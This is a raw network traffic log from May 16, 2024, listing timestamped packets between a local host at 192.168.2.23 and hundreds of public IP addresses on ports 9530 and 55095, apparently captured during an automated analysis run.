May 16, 2024 16:38:49.939440966 CEST	9530	55095	176.71.191.151	192.168.2.23
May 16, 2024 16:38:49.939444065 CEST	9530	55095	31.60.51.30	192.168.2.23
May 16, 2024 16:38:49.939444065 CEST	55095	9530	192.168.2.23	163.24.214.160
May 16, 2024 16:38:49.939446926 CEST	9530	55095	154.208.9.195	192.168.2.23
May 16, 2024 16:38:49.939452887 CEST	55095	9530	192.168.2.23	36.159.14.222
May 16, 2024 16:38:49.939452887 CEST	55095	9530	192.168.2.23	86.24.104.24
May 16, 2024 16:38:49.939455986 CEST	9530	55095	159.169.146.148	192.168.2.23
May 16, 2024 16:38:49.939460993 CEST	9530	55095	207.134.96.192	192.168.2.23
May 16, 2024 16:38:49.939464092 CEST	9530	55095	61.103.151.104	192.168.2.23
May 16, 2024 16:38:49.939471960 CEST	9530	55095	92.238.112.160	192.168.2.23
May 16, 2024 16:38:49.939483881 CEST	55095	9530	192.168.2.23	47.52.112.167
May 16, 2024 16:38:49.939483881 CEST	55095	9530	192.168.2.23	61.103.151.104
May 16, 2024 16:38:49.939486027 CEST	9530	55095	96.178.29.43	192.168.2.23
May 16, 2024 16:38:49.939490080 CEST	55095	9530	192.168.2.23	31.60.51.30
May 16, 2024 16:38:49.939562082 CEST	55095	9530	192.168.2.23	191.62.78.135
May 16, 2024 16:38:49.939562082 CEST	55095	9530	192.168.2.23	74.3.195.253
May 16, 2024 16:38:49.939562082 CEST	55095	9530	192.168.2.23	94.176.192.247
May 16, 2024 16:38:49.939562082 CEST	55095	9530	192.168.2.23	176.71.191.151
May 16, 2024 16:38:49.939564943 CEST	55095	9530	192.168.2.23	118.180.76.5
May 16, 2024 16:38:49.939565897 CEST	55095	9530	192.168.2.23	159.169.146.148
May 16, 2024 16:38:49.939564943 CEST	55095	9530	192.168.2.23	154.208.9.195
May 16, 2024 16:38:49.939565897 CEST	55095	9530	192.168.2.23	92.238.112.160
May 16, 2024 16:38:49.939577103 CEST	55095	9530	192.168.2.23	207.134.96.192
May 16, 2024 16:38:49.939609051 CEST	55095	9530	192.168.2.23	96.178.29.43
May 16, 2024 16:38:49.941430092 CEST	9530	55095	123.14.25.101	192.168.2.23
May 16, 2024 16:38:49.941441059 CEST	9530	55095	13.122.254.66	192.168.2.23
May 16, 2024 16:38:49.941450119 CEST	9530	55095	131.47.232.51	192.168.2.23
May 16, 2024 16:38:49.941459894 CEST	9530	55095	205.86.153.51	192.168.2.23
May 16, 2024 16:38:49.941468954 CEST	9530	55095	50.247.178.90	192.168.2.23
May 16, 2024 16:38:49.941469908 CEST	55095	9530	192.168.2.23	123.14.25.101
May 16, 2024 16:38:49.941472054 CEST	9530	55095	43.235.142.70	192.168.2.23
May 16, 2024 16:38:49.941476107 CEST	9530	55095	95.10.133.64	192.168.2.23
May 16, 2024 16:38:49.941479921 CEST	9530	55095	57.119.5.38	192.168.2.23
May 16, 2024 16:38:49.941483974 CEST	9530	55095	219.197.197.235	192.168.2.23
May 16, 2024 16:38:49.941487074 CEST	9530	55095	8.103.5.125	192.168.2.23
May 16, 2024 16:38:49.941490889 CEST	9530	55095	151.57.29.162	192.168.2.23
May 16, 2024 16:38:49.941494942 CEST	9530	55095	74.166.14.251	192.168.2.23
May 16, 2024 16:38:49.941495895 CEST	55095	9530	192.168.2.23	131.47.232.51
May 16, 2024 16:38:49.941503048 CEST	9530	55095	85.250.208.72	192.168.2.23
May 16, 2024 16:38:49.941509008 CEST	9530	55095	153.114.117.78	192.168.2.23
May 16, 2024 16:38:49.941517115 CEST	55095	9530	192.168.2.23	205.86.153.51
May 16, 2024 16:38:49.941518068 CEST	9530	55095	190.168.64.147	192.168.2.23
May 16, 2024 16:38:49.941523075 CEST	55095	9530	192.168.2.23	50.247.178.90
May 16, 2024 16:38:49.941524982 CEST	55095	9530	192.168.2.23	13.122.254.66
May 16, 2024 16:38:49.941524982 CEST	55095	9530	192.168.2.23	95.10.133.64
May 16, 2024 16:38:49.941526890 CEST	9530	55095	108.16.4.135	192.168.2.23
May 16, 2024 16:38:49.941536903 CEST	9530	55095	189.48.1.153	192.168.2.23
May 16, 2024 16:38:49.941541910 CEST	55095	9530	192.168.2.23	151.57.29.162
May 16, 2024 16:38:49.941541910 CEST	55095	9530	192.168.2.23	43.235.142.70
May 16, 2024 16:38:49.941544056 CEST	55095	9530	192.168.2.23	219.197.197.235
May 16, 2024 16:38:49.941544056 CEST	55095	9530	192.168.2.23	74.166.14.251
May 16, 2024 16:38:49.941546917 CEST	9530	55095	146.93.34.139	192.168.2.23
May 16, 2024 16:38:49.941550016 CEST	55095	9530	192.168.2.23	153.114.117.78
May 16, 2024 16:38:49.941555023 CEST	55095	9530	192.168.2.23	57.119.5.38
May 16, 2024 16:38:49.941555023 CEST	55095	9530	192.168.2.23	108.16.4.135
May 16, 2024 16:38:49.941555023 CEST	55095	9530	192.168.2.23	85.250.208.72
May 16, 2024 16:38:49.941557884 CEST	55095	9530	192.168.2.23	190.168.64.147
May 16, 2024 16:38:49.941557884 CEST	55095	9530	192.168.2.23	8.103.5.125
May 16, 2024 16:38:49.941559076 CEST	9530	55095	199.212.25.195	192.168.2.23
May 16, 2024 16:38:49.941561937 CEST	55095	9530	192.168.2.23	189.48.1.153
May 16, 2024 16:38:49.941570044 CEST	9530	55095	36.231.142.205	192.168.2.23
May 16, 2024 16:38:49.941581011 CEST	9530	55095	180.2.132.116	192.168.2.23
May 16, 2024 16:38:49.941589117 CEST	9530	55095	86.150.186.75	192.168.2.23
May 16, 2024 16:38:49.941593885 CEST	55095	9530	192.168.2.23	146.93.34.139
May 16, 2024 16:38:49.941597939 CEST	9530	55095	206.145.192.90	192.168.2.23
May 16, 2024 16:38:49.941607952 CEST	9530	55095	105.243.221.221	192.168.2.23
May 16, 2024 16:38:49.941613913 CEST	55095	9530	192.168.2.23	180.2.132.116
May 16, 2024 16:38:49.941618919 CEST	9530	55095	173.172.118.232	192.168.2.23
May 16, 2024 16:38:49.941621065 CEST	55095	9530	192.168.2.23	36.231.142.205
May 16, 2024 16:38:49.941621065 CEST	55095	9530	192.168.2.23	86.150.186.75
May 16, 2024 16:38:49.941625118 CEST	55095	9530	192.168.2.23	199.212.25.195
May 16, 2024 16:38:49.941628933 CEST	9530	55095	164.12.49.200	192.168.2.23
May 16, 2024 16:38:49.941628933 CEST	55095	9530	192.168.2.23	206.145.192.90
May 16, 2024 16:38:49.941637993 CEST	9530	55095	141.201.67.37	192.168.2.23
May 16, 2024 16:38:49.941643953 CEST	55095	9530	192.168.2.23	105.243.221.221
May 16, 2024 16:38:49.941646099 CEST	55095	9530	192.168.2.23	173.172.118.232
May 16, 2024 16:38:49.941651106 CEST	9530	55095	74.108.210.159	192.168.2.23
May 16, 2024 16:38:49.941657066 CEST	55095	9530	192.168.2.23	164.12.49.200
May 16, 2024 16:38:49.941662073 CEST	9530	55095	138.22.96.144	192.168.2.23
May 16, 2024 16:38:49.941670895 CEST	9530	55095	45.47.96.231	192.168.2.23
May 16, 2024 16:38:49.941679955 CEST	9530	55095	137.215.12.105	192.168.2.23
May 16, 2024 16:38:49.941684008 CEST	9530	55095	199.136.17.84	192.168.2.23
May 16, 2024 16:38:49.941688061 CEST	9530	55095	137.150.139.179	192.168.2.23
May 16, 2024 16:38:49.941695929 CEST	9530	55095	91.209.44.226	192.168.2.23
May 16, 2024 16:38:49.941704988 CEST	9530	55095	167.241.140.199	192.168.2.23
May 16, 2024 16:38:49.941714048 CEST	9530	55095	149.232.219.54	192.168.2.23
May 16, 2024 16:38:49.941716909 CEST	55095	9530	192.168.2.23	141.201.67.37
May 16, 2024 16:38:49.941716909 CEST	55095	9530	192.168.2.23	74.108.210.159
May 16, 2024 16:38:49.941716909 CEST	55095	9530	192.168.2.23	138.22.96.144
May 16, 2024 16:38:49.941716909 CEST	55095	9530	192.168.2.23	45.47.96.231
May 16, 2024 16:38:49.941725969 CEST	55095	9530	192.168.2.23	137.150.139.179
May 16, 2024 16:38:49.941726923 CEST	55095	9530	192.168.2.23	199.136.17.84
May 16, 2024 16:38:49.941726923 CEST	55095	9530	192.168.2.23	91.209.44.226
May 16, 2024 16:38:49.941728115 CEST	9530	55095	106.114.204.162	192.168.2.23
May 16, 2024 16:38:49.941734076 CEST	55095	9530	192.168.2.23	167.241.140.199
May 16, 2024 16:38:49.941736937 CEST	9530	55095	185.108.175.17	192.168.2.23
May 16, 2024 16:38:49.941745996 CEST	9530	55095	172.134.66.2	192.168.2.23
May 16, 2024 16:38:49.941749096 CEST	55095	9530	192.168.2.23	149.232.219.54
May 16, 2024 16:38:49.941755056 CEST	9530	55095	161.240.127.33	192.168.2.23
May 16, 2024 16:38:49.941761017 CEST	55095	9530	192.168.2.23	185.108.175.17
May 16, 2024 16:38:49.941764116 CEST	55095	9530	192.168.2.23	106.114.204.162
May 16, 2024 16:38:49.941772938 CEST	55095	9530	192.168.2.23	137.215.12.105
May 16, 2024 16:38:49.941773891 CEST	55095	9530	192.168.2.23	172.134.66.2
May 16, 2024 16:38:49.941818953 CEST	55095	9530	192.168.2.23	161.240.127.33
May 16, 2024 16:38:49.945630074 CEST	9530	55095	58.161.96.145	192.168.2.23
May 16, 2024 16:38:49.945641994 CEST	9530	55095	136.80.195.228	192.168.2.23
May 16, 2024 16:38:49.945651054 CEST	9530	55095	151.160.174.251	192.168.2.23
May 16, 2024 16:38:49.945657969 CEST	9530	55095	120.254.142.61	192.168.2.23
May 16, 2024 16:38:49.945662022 CEST	9530	55095	8.96.74.244	192.168.2.23
May 16, 2024 16:38:49.945664883 CEST	9530	55095	140.155.102.244	192.168.2.23
May 16, 2024 16:38:49.945668936 CEST	9530	55095	199.79.250.205	192.168.2.23
May 16, 2024 16:38:49.945672989 CEST	9530	55095	137.238.157.172	192.168.2.23
May 16, 2024 16:38:49.945676088 CEST	9530	55095	54.157.197.236	192.168.2.23
May 16, 2024 16:38:49.945679903 CEST	9530	55095	83.88.209.141	192.168.2.23
May 16, 2024 16:38:49.945683002 CEST	9530	55095	197.157.129.72	192.168.2.23
May 16, 2024 16:38:49.945687056 CEST	9530	55095	209.161.97.114	192.168.2.23
May 16, 2024 16:38:49.945689917 CEST	9530	55095	77.250.101.134	192.168.2.23
May 16, 2024 16:38:49.945688009 CEST	55095	9530	192.168.2.23	58.161.96.145
May 16, 2024 16:38:49.945699930 CEST	9530	55095	134.191.127.250	192.168.2.23
May 16, 2024 16:38:49.945703983 CEST	9530	55095	58.122.70.20	192.168.2.23
May 16, 2024 16:38:49.945707083 CEST	9530	55095	40.124.47.82	192.168.2.23
May 16, 2024 16:38:49.945710897 CEST	9530	55095	50.79.157.38	192.168.2.23
May 16, 2024 16:38:49.945719957 CEST	9530	55095	187.84.241.242	192.168.2.23
May 16, 2024 16:38:49.945724964 CEST	55095	9530	192.168.2.23	151.160.174.251
May 16, 2024 16:38:49.945729971 CEST	9530	55095	24.108.174.210	192.168.2.23
May 16, 2024 16:38:49.945743084 CEST	9530	55095	23.255.14.50	192.168.2.23
May 16, 2024 16:38:49.945749044 CEST	55095	9530	192.168.2.23	136.80.195.228
May 16, 2024 16:38:49.945749044 CEST	55095	9530	192.168.2.23	120.254.142.61
May 16, 2024 16:38:49.945753098 CEST	9530	55095	176.49.66.180	192.168.2.23
May 16, 2024 16:38:49.945759058 CEST	55095	9530	192.168.2.23	137.238.157.172
May 16, 2024 16:38:49.945760965 CEST	55095	9530	192.168.2.23	134.191.127.250
May 16, 2024 16:38:49.945760965 CEST	55095	9530	192.168.2.23	58.122.70.20
May 16, 2024 16:38:49.945765018 CEST	9530	55095	154.54.154.187	192.168.2.23
May 16, 2024 16:38:49.945770979 CEST	55095	9530	192.168.2.23	24.108.174.210
May 16, 2024 16:38:49.945771933 CEST	55095	9530	192.168.2.23	83.88.209.141
May 16, 2024 16:38:49.945775032 CEST	9530	55095	128.103.97.173	192.168.2.23
May 16, 2024 16:38:49.945777893 CEST	55095	9530	192.168.2.23	40.124.47.82
May 16, 2024 16:38:49.945781946 CEST	9530	55095	19.92.14.64	192.168.2.23
May 16, 2024 16:38:49.945786953 CEST	9530	55095	34.152.138.140	192.168.2.23
May 16, 2024 16:38:49.945790052 CEST	9530	55095	170.37.77.126	192.168.2.23
May 16, 2024 16:38:49.945792913 CEST	9530	55095	194.64.34.237	192.168.2.23
May 16, 2024 16:38:49.945796967 CEST	9530	55095	220.187.150.53	192.168.2.23
May 16, 2024 16:38:49.945800066 CEST	9530	55095	25.213.227.185	192.168.2.23
May 16, 2024 16:38:49.945802927 CEST	9530	55095	2.180.222.64	192.168.2.23
May 16, 2024 16:38:49.945806026 CEST	55095	9530	192.168.2.23	197.157.129.72
May 16, 2024 16:38:49.945806980 CEST	9530	55095	206.6.180.176	192.168.2.23
May 16, 2024 16:38:49.945806026 CEST	55095	9530	192.168.2.23	77.250.101.134
May 16, 2024 16:38:49.945810080 CEST	55095	9530	192.168.2.23	50.79.157.38
May 16, 2024 16:38:49.945810080 CEST	55095	9530	192.168.2.23	54.157.197.236
May 16, 2024 16:38:49.945811033 CEST	9530	55095	119.147.150.217	192.168.2.23
May 16, 2024 16:38:49.945810080 CEST	55095	9530	192.168.2.23	8.96.74.244
May 16, 2024 16:38:49.945810080 CEST	55095	9530	192.168.2.23	199.79.250.205
May 16, 2024 16:38:49.945810080 CEST	55095	9530	192.168.2.23	209.161.97.114
May 16, 2024 16:38:49.945816994 CEST	9530	55095	115.180.96.91	192.168.2.23
May 16, 2024 16:38:49.945817947 CEST	55095	9530	192.168.2.23	140.155.102.244
May 16, 2024 16:38:49.945817947 CEST	55095	9530	192.168.2.23	176.49.66.180
May 16, 2024 16:38:49.945821047 CEST	9530	55095	188.83.173.229	192.168.2.23
May 16, 2024 16:38:49.945821047 CEST	55095	9530	192.168.2.23	187.84.241.242
May 16, 2024 16:38:49.945826054 CEST	9530	55095	76.194.92.6	192.168.2.23
May 16, 2024 16:38:49.945836067 CEST	9530	55095	202.188.152.17	192.168.2.23
May 16, 2024 16:38:49.945842981 CEST	55095	9530	192.168.2.23	23.255.14.50
May 16, 2024 16:38:49.945844889 CEST	9530	55095	221.84.238.106	192.168.2.23
May 16, 2024 16:38:49.945853949 CEST	9530	55095	186.106.94.102	192.168.2.23
May 16, 2024 16:38:49.945858002 CEST	55095	9530	192.168.2.23	154.54.154.187
May 16, 2024 16:38:49.945858002 CEST	55095	9530	192.168.2.23	19.92.14.64
May 16, 2024 16:38:49.945858002 CEST	55095	9530	192.168.2.23	170.37.77.126
May 16, 2024 16:38:49.945858002 CEST	55095	9530	192.168.2.23	34.152.138.140
May 16, 2024 16:38:49.945861101 CEST	55095	9530	192.168.2.23	119.147.150.217
May 16, 2024 16:38:49.945858955 CEST	9530	55095	23.205.195.200	192.168.2.23
May 16, 2024 16:38:49.945862055 CEST	55095	9530	192.168.2.23	220.187.150.53
May 16, 2024 16:38:49.945868969 CEST	55095	9530	192.168.2.23	188.83.173.229
May 16, 2024 16:38:49.945873022 CEST	9530	55095	70.97.15.228	192.168.2.23
May 16, 2024 16:38:49.945878029 CEST	55095	9530	192.168.2.23	76.194.92.6
May 16, 2024 16:38:49.945883989 CEST	9530	55095	105.137.145.38	192.168.2.23
May 16, 2024 16:38:49.945885897 CEST	55095	9530	192.168.2.23	202.188.152.17
May 16, 2024 16:38:49.945888042 CEST	55095	9530	192.168.2.23	194.64.34.237
May 16, 2024 16:38:49.945894957 CEST	55095	9530	192.168.2.23	128.103.97.173
May 16, 2024 16:38:49.945894957 CEST	55095	9530	192.168.2.23	25.213.227.185
May 16, 2024 16:38:49.945895910 CEST	55095	9530	192.168.2.23	206.6.180.176
May 16, 2024 16:38:49.945894957 CEST	55095	9530	192.168.2.23	2.180.222.64
May 16, 2024 16:38:49.945895910 CEST	55095	9530	192.168.2.23	221.84.238.106
May 16, 2024 16:38:49.945899010 CEST	55095	9530	192.168.2.23	115.180.96.91
May 16, 2024 16:38:49.945904970 CEST	55095	9530	192.168.2.23	23.205.195.200
May 16, 2024 16:38:49.945907116 CEST	55095	9530	192.168.2.23	186.106.94.102
May 16, 2024 16:38:49.945915937 CEST	55095	9530	192.168.2.23	70.97.15.228
May 16, 2024 16:38:49.946001053 CEST	55095	9530	192.168.2.23	105.137.145.38
May 16, 2024 16:38:49.949826956 CEST	9530	55095	85.203.251.109	192.168.2.23
May 16, 2024 16:38:49.949837923 CEST	9530	55095	206.94.115.202	192.168.2.23
May 16, 2024 16:38:49.949847937 CEST	9530	55095	83.184.111.48	192.168.2.23
May 16, 2024 16:38:49.949856997 CEST	9530	55095	138.114.70.13	192.168.2.23
May 16, 2024 16:38:49.949865103 CEST	9530	55095	133.184.245.125	192.168.2.23
May 16, 2024 16:38:49.949875116 CEST	9530	55095	217.203.6.230	192.168.2.23
May 16, 2024 16:38:49.949883938 CEST	9530	55095	188.74.65.51	192.168.2.23
May 16, 2024 16:38:49.949892044 CEST	9530	55095	126.192.136.113	192.168.2.23
May 16, 2024 16:38:49.949901104 CEST	9530	55095	105.27.211.129	192.168.2.23
May 16, 2024 16:38:49.949911118 CEST	9530	55095	168.59.250.193	192.168.2.23
May 16, 2024 16:38:49.949918985 CEST	9530	55095	157.170.135.197	192.168.2.23
May 16, 2024 16:38:49.949919939 CEST	55095	9530	192.168.2.23	138.114.70.13
May 16, 2024 16:38:49.949919939 CEST	55095	9530	192.168.2.23	133.184.245.125
May 16, 2024 16:38:49.949919939 CEST	55095	9530	192.168.2.23	188.74.65.51
May 16, 2024 16:38:49.949922085 CEST	55095	9530	192.168.2.23	83.184.111.48
May 16, 2024 16:38:49.949922085 CEST	55095	9530	192.168.2.23	217.203.6.230
May 16, 2024 16:38:49.949922085 CEST	55095	9530	192.168.2.23	126.192.136.113
May 16, 2024 16:38:49.949927092 CEST	55095	9530	192.168.2.23	85.203.251.109
May 16, 2024 16:38:49.949927092 CEST	55095	9530	192.168.2.23	206.94.115.202
May 16, 2024 16:38:49.949928045 CEST	9530	55095	39.96.180.208	192.168.2.23
May 16, 2024 16:38:49.949938059 CEST	9530	55095	51.231.104.127	192.168.2.23
May 16, 2024 16:38:49.949939013 CEST	55095	9530	192.168.2.23	168.59.250.193
May 16, 2024 16:38:49.949939966 CEST	55095	9530	192.168.2.23	105.27.211.129
May 16, 2024 16:38:49.949949980 CEST	55095	9530	192.168.2.23	157.170.135.197
May 16, 2024 16:38:49.949951887 CEST	9530	55095	123.56.11.13	192.168.2.23
May 16, 2024 16:38:49.949958086 CEST	55095	9530	192.168.2.23	39.96.180.208
May 16, 2024 16:38:49.949965000 CEST	55095	9530	192.168.2.23	51.231.104.127
May 16, 2024 16:38:49.949965954 CEST	9530	55095	74.73.152.60	192.168.2.23
May 16, 2024 16:38:49.949975014 CEST	9530	55095	180.31.26.251	192.168.2.23
May 16, 2024 16:38:49.949982882 CEST	9530	55095	122.213.99.154	192.168.2.23
May 16, 2024 16:38:49.949991941 CEST	9530	55095	205.247.241.151	192.168.2.23
May 16, 2024 16:38:49.950000048 CEST	9530	55095	123.92.90.102	192.168.2.23
May 16, 2024 16:38:49.950009108 CEST	9530	55095	153.76.145.180	192.168.2.23
May 16, 2024 16:38:49.950014114 CEST	55095	9530	192.168.2.23	180.31.26.251
May 16, 2024 16:38:49.950016975 CEST	55095	9530	192.168.2.23	74.73.152.60
May 16, 2024 16:38:49.950016975 CEST	55095	9530	192.168.2.23	123.56.11.13
May 16, 2024 16:38:49.950017929 CEST	9530	55095	144.190.145.172	192.168.2.23
May 16, 2024 16:38:49.950028896 CEST	9530	55095	153.222.52.52	192.168.2.23
May 16, 2024 16:38:49.950028896 CEST	55095	9530	192.168.2.23	122.213.99.154
May 16, 2024 16:38:49.950031996 CEST	55095	9530	192.168.2.23	205.247.241.151
May 16, 2024 16:38:49.950037956 CEST	9530	55095	201.14.0.64	192.168.2.23
May 16, 2024 16:38:49.950047016 CEST	9530	55095	120.152.174.200	192.168.2.23
May 16, 2024 16:38:49.950062990 CEST	55095	9530	192.168.2.23	153.76.145.180
May 16, 2024 16:38:49.950067043 CEST	9530	55095	168.111.25.16	192.168.2.23
May 16, 2024 16:38:49.950067043 CEST	55095	9530	192.168.2.23	123.92.90.102
May 16, 2024 16:38:49.950077057 CEST	9530	55095	184.187.11.50	192.168.2.23
May 16, 2024 16:38:49.950082064 CEST	55095	9530	192.168.2.23	144.190.145.172
May 16, 2024 16:38:49.950082064 CEST	55095	9530	192.168.2.23	201.14.0.64
May 16, 2024 16:38:49.950086117 CEST	9530	55095	142.131.137.138	192.168.2.23
May 16, 2024 16:38:49.950095892 CEST	9530	55095	78.242.85.240	192.168.2.23
May 16, 2024 16:38:49.950103998 CEST	55095	9530	192.168.2.23	153.222.52.52
May 16, 2024 16:38:49.950104952 CEST	9530	55095	46.205.67.246	192.168.2.23
May 16, 2024 16:38:49.950110912 CEST	55095	9530	192.168.2.23	168.111.25.16
May 16, 2024 16:38:49.950114965 CEST	9530	55095	9.8.128.54	192.168.2.23
May 16, 2024 16:38:49.950118065 CEST	55095	9530	192.168.2.23	184.187.11.50
May 16, 2024 16:38:49.950123072 CEST	55095	9530	192.168.2.23	142.131.137.138
May 16, 2024 16:38:49.950124979 CEST	9530	55095	115.247.170.73	192.168.2.23
May 16, 2024 16:38:49.950133085 CEST	9530	55095	35.90.119.128	192.168.2.23
May 16, 2024 16:38:49.950136900 CEST	55095	9530	192.168.2.23	46.205.67.246
May 16, 2024 16:38:49.950143099 CEST	9530	55095	135.0.255.168	192.168.2.23
May 16, 2024 16:38:49.950148106 CEST	55095	9530	192.168.2.23	78.242.85.240
May 16, 2024 16:38:49.950148106 CEST	55095	9530	192.168.2.23	9.8.128.54
May 16, 2024 16:38:49.950150967 CEST	55095	9530	192.168.2.23	115.247.170.73
May 16, 2024 16:38:49.950151920 CEST	9530	55095	189.205.83.0	192.168.2.23
May 16, 2024 16:38:49.950155020 CEST	55095	9530	192.168.2.23	120.152.174.200
May 16, 2024 16:38:49.950166941 CEST	55095	9530	192.168.2.23	35.90.119.128
May 16, 2024 16:38:49.950170040 CEST	9530	55095	68.46.216.230	192.168.2.23
May 16, 2024 16:38:49.950172901 CEST	55095	9530	192.168.2.23	135.0.255.168
May 16, 2024 16:38:49.950180054 CEST	9530	55095	221.122.241.157	192.168.2.23
May 16, 2024 16:38:49.950190067 CEST	9530	55095	149.220.159.74	192.168.2.23
May 16, 2024 16:38:49.950197935 CEST	9530	55095	143.58.159.201	192.168.2.23
May 16, 2024 16:38:49.950207949 CEST	9530	55095	109.234.106.82	192.168.2.23
May 16, 2024 16:38:49.950217009 CEST	9530	55095	113.114.3.188	192.168.2.23
May 16, 2024 16:38:49.950225115 CEST	9530	55095	47.1.85.123	192.168.2.23
May 16, 2024 16:38:49.950247049 CEST	55095	9530	192.168.2.23	143.58.159.201
May 16, 2024 16:38:49.950247049 CEST	55095	9530	192.168.2.23	189.205.83.0
May 16, 2024 16:38:49.950251102 CEST	55095	9530	192.168.2.23	149.220.159.74
May 16, 2024 16:38:49.950252056 CEST	55095	9530	192.168.2.23	221.122.241.157
May 16, 2024 16:38:49.950251102 CEST	55095	9530	192.168.2.23	47.1.85.123
May 16, 2024 16:38:49.950253963 CEST	55095	9530	192.168.2.23	109.234.106.82
May 16, 2024 16:38:49.950311899 CEST	55095	9530	192.168.2.23	68.46.216.230
May 16, 2024 16:38:49.950311899 CEST	55095	9530	192.168.2.23	113.114.3.188
May 16, 2024 16:38:49.954029083 CEST	9530	55095	166.155.188.3	192.168.2.23
May 16, 2024 16:38:49.954040051 CEST	9530	55095	97.167.200.152	192.168.2.23
May 16, 2024 16:38:49.954050064 CEST	9530	55095	183.144.207.255	192.168.2.23
May 16, 2024 16:38:49.954058886 CEST	9530	55095	207.30.32.125	192.168.2.23
May 16, 2024 16:38:49.954068899 CEST	9530	55095	111.183.221.6	192.168.2.23
May 16, 2024 16:38:49.954077005 CEST	9530	55095	20.216.168.192	192.168.2.23
May 16, 2024 16:38:49.954086065 CEST	9530	55095	49.205.95.241	192.168.2.23
May 16, 2024 16:38:49.954094887 CEST	9530	55095	186.215.106.154	192.168.2.23
May 16, 2024 16:38:49.954102993 CEST	9530	55095	123.167.57.248	192.168.2.23
May 16, 2024 16:38:49.954102993 CEST	55095	9530	192.168.2.23	207.30.32.125
May 16, 2024 16:38:49.954109907 CEST	55095	9530	192.168.2.23	183.144.207.255
May 16, 2024 16:38:49.954111099 CEST	55095	9530	192.168.2.23	97.167.200.152
May 16, 2024 16:38:49.954112053 CEST	9530	55095	130.251.162.226	192.168.2.23
May 16, 2024 16:38:49.954113960 CEST	55095	9530	192.168.2.23	20.216.168.192
May 16, 2024 16:38:49.954121113 CEST	9530	55095	63.129.199.240	192.168.2.23
May 16, 2024 16:38:49.954128027 CEST	55095	9530	192.168.2.23	49.205.95.241
May 16, 2024 16:38:49.954130888 CEST	55095	9530	192.168.2.23	123.167.57.248
May 16, 2024 16:38:49.954132080 CEST	9530	55095	75.72.59.82	192.168.2.23
May 16, 2024 16:38:49.954132080 CEST	55095	9530	192.168.2.23	186.215.106.154
May 16, 2024 16:38:49.954142094 CEST	9530	55095	138.174.46.101	192.168.2.23
May 16, 2024 16:38:49.954143047 CEST	55095	9530	192.168.2.23	130.251.162.226
May 16, 2024 16:38:49.954150915 CEST	9530	55095	198.3.7.226	192.168.2.23
May 16, 2024 16:38:49.954154015 CEST	55095	9530	192.168.2.23	75.72.59.82
May 16, 2024 16:38:49.954159975 CEST	9530	55095	81.253.99.116	192.168.2.23
May 16, 2024 16:38:49.954166889 CEST	9530	55095	137.243.44.232	192.168.2.23
May 16, 2024 16:38:49.954169035 CEST	55095	9530	192.168.2.23	166.155.188.3
May 16, 2024 16:38:49.954169035 CEST	55095	9530	192.168.2.23	111.183.221.6
May 16, 2024 16:38:49.954174995 CEST	55095	9530	192.168.2.23	63.129.199.240
May 16, 2024 16:38:49.954175949 CEST	9530	55095	88.207.241.8	192.168.2.23
May 16, 2024 16:38:49.954185963 CEST	55095	9530	192.168.2.23	81.253.99.116
May 16, 2024 16:38:49.954185963 CEST	9530	55095	88.98.72.15	192.168.2.23
May 16, 2024 16:38:49.954196930 CEST	55095	9530	192.168.2.23	198.3.7.226
May 16, 2024 16:38:49.954195023 CEST	55095	9530	192.168.2.23	138.174.46.101
May 16, 2024 16:38:49.954196930 CEST	55095	9530	192.168.2.23	88.207.241.8
May 16, 2024 16:38:49.954201937 CEST	9530	55095	121.32.174.106	192.168.2.23
May 16, 2024 16:38:49.954202890 CEST	55095	9530	192.168.2.23	137.243.44.232
May 16, 2024 16:38:49.954210997 CEST	9530	55095	159.96.202.219	192.168.2.23
May 16, 2024 16:38:49.954220057 CEST	9530	55095	36.160.152.11	192.168.2.23
May 16, 2024 16:38:49.954230070 CEST	9530	55095	57.198.159.140	192.168.2.23
May 16, 2024 16:38:49.954237938 CEST	9530	55095	130.26.234.111	192.168.2.23
May 16, 2024 16:38:49.954246998 CEST	9530	55095	48.39.172.133	192.168.2.23
May 16, 2024 16:38:49.954256058 CEST	9530	55095	99.101.215.118	192.168.2.23
May 16, 2024 16:38:49.954265118 CEST	9530	55095	48.5.132.4	192.168.2.23
May 16, 2024 16:38:49.954266071 CEST	55095	9530	192.168.2.23	121.32.174.106
May 16, 2024 16:38:49.954268932 CEST	55095	9530	192.168.2.23	36.160.152.11
May 16, 2024 16:38:49.954273939 CEST	55095	9530	192.168.2.23	88.98.72.15
May 16, 2024 16:38:49.954273939 CEST	55095	9530	192.168.2.23	57.198.159.140
May 16, 2024 16:38:49.954274893 CEST	9530	55095	14.30.24.185	192.168.2.23
May 16, 2024 16:38:49.954284906 CEST	9530	55095	223.255.101.237	192.168.2.23
May 16, 2024 16:38:49.954293966 CEST	55095	9530	192.168.2.23	159.96.202.219
May 16, 2024 16:38:49.954294920 CEST	9530	55095	97.181.21.236	192.168.2.23
May 16, 2024 16:38:49.954303980 CEST	9530	55095	64.165.223.13	192.168.2.23
May 16, 2024 16:38:49.954304934 CEST	55095	9530	192.168.2.23	48.5.132.4
May 16, 2024 16:38:49.954308033 CEST	9530	55095	159.100.78.229	192.168.2.23
May 16, 2024 16:38:49.954308987 CEST	55095	9530	192.168.2.23	99.101.215.118
May 16, 2024 16:38:49.954312086 CEST	55095	9530	192.168.2.23	48.39.172.133
May 16, 2024 16:38:49.954313040 CEST	55095	9530	192.168.2.23	14.30.24.185
May 16, 2024 16:38:49.954317093 CEST	9530	55095	120.23.90.136	192.168.2.23
May 16, 2024 16:38:49.954327106 CEST	9530	55095	198.211.236.97	192.168.2.23
May 16, 2024 16:38:49.954333067 CEST	55095	9530	192.168.2.23	97.181.21.236
May 16, 2024 16:38:49.954333067 CEST	55095	9530	192.168.2.23	159.100.78.229
May 16, 2024 16:38:49.954335928 CEST	9530	55095	218.23.65.66	192.168.2.23
May 16, 2024 16:38:49.954335928 CEST	55095	9530	192.168.2.23	64.165.223.13
May 16, 2024 16:38:49.954344988 CEST	9530	55095	138.13.58.44	192.168.2.23
May 16, 2024 16:38:49.954345942 CEST	55095	9530	192.168.2.23	130.26.234.111
May 16, 2024 16:38:49.954345942 CEST	55095	9530	192.168.2.23	223.255.101.237
May 16, 2024 16:38:49.954353094 CEST	55095	9530	192.168.2.23	198.211.236.97
May 16, 2024 16:38:49.954354048 CEST	9530	55095	213.120.228.69	192.168.2.23
May 16, 2024 16:38:49.954358101 CEST	55095	9530	192.168.2.23	120.23.90.136
May 16, 2024 16:38:49.954364061 CEST	9530	55095	141.132.151.43	192.168.2.23
May 16, 2024 16:38:49.954368114 CEST	55095	9530	192.168.2.23	218.23.65.66
May 16, 2024 16:38:49.954372883 CEST	9530	55095	192.211.140.72	192.168.2.23
